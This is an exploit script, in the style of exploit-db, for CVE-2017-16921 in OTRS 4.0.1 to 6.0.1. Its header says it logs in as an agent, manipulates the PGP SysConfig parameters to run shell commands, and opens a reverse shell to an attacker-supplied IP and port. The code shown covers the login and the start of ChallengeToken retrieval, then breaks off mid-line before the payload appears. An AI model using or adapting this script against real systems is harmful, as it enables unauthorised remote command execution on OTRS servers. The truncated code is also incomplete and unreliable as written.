# Exploit Title: OTRS 4.0.1/6.0.1 - Remote Command Execution # Date: 11-08-2024 # Exploit Author: Sm4rtF0x # Vendor Homepage: https://www.otrs.com/ # Software Link: http://ftp.otrs.org/pub/otrs/ # Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1 # Tested on: OTRS 5.0.2/CentOS 7.2.1511 # CVE: CVE-2017-16921 #!/usr/bin/env python3 """ This exploit is developed based on https://www.exploit-db.com/exploits/43853 It will perform the authentication against OTRS panel and provide a reverse shell. Usage: python3 CVE-2017-16921.py CVE-2017-16921: In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user. Credits to Hex_26 for the ChallengeToken retrieval function. """ import requests import argparse parser = argparse.ArgumentParser(description='Send a series of requests to the OTRS system.') parser.add_argument('server_ip', type=str, help='The IP address of the OTRS server.') parser.add_argument('email', type=str, help='The email address to log in with.') parser.add_argument('password', type=str, help='The password to log in with.') parser.add_argument('ip', type=str, help='The local IP address to use in the payload.') parser.add_argument('port', type=int, help='The local port number to use in the payload.') args = parser.parse_args() url_login = f"http://{args.server_ip}/otrs/index.pl" headers_login = { "Host": args.server_ip, "Cache-Control": "max-age=0", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{args.server_ip}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{args.server_ip}/otrs/index.pl", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive" } data_login = { "Action": "Login", "RequestedURL": "", "Lang": "en", "TimeOffset": "240", "User": args.email, "Password": args.password } session = requests.Session() response_login = session.post(url_login, headers=headers_login, data=data_login) if "Login failed! Your user name or password was entered incorrectly." in response_login.text: print("Login failed: Incorrect username or password.") else: print("Login successful.") url_sysconfig = f"http://{args.server_ip}/otrs/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework" response_sysconfig = session.get(url_sysconfig, headers=headers_login) if response_sysconfig.status_code == 200: print("Navigated to SysConfig successfully.") print("Retrieving the ChallengeToken...") contents = response_sysconfig.text challTokenStart = contents.find('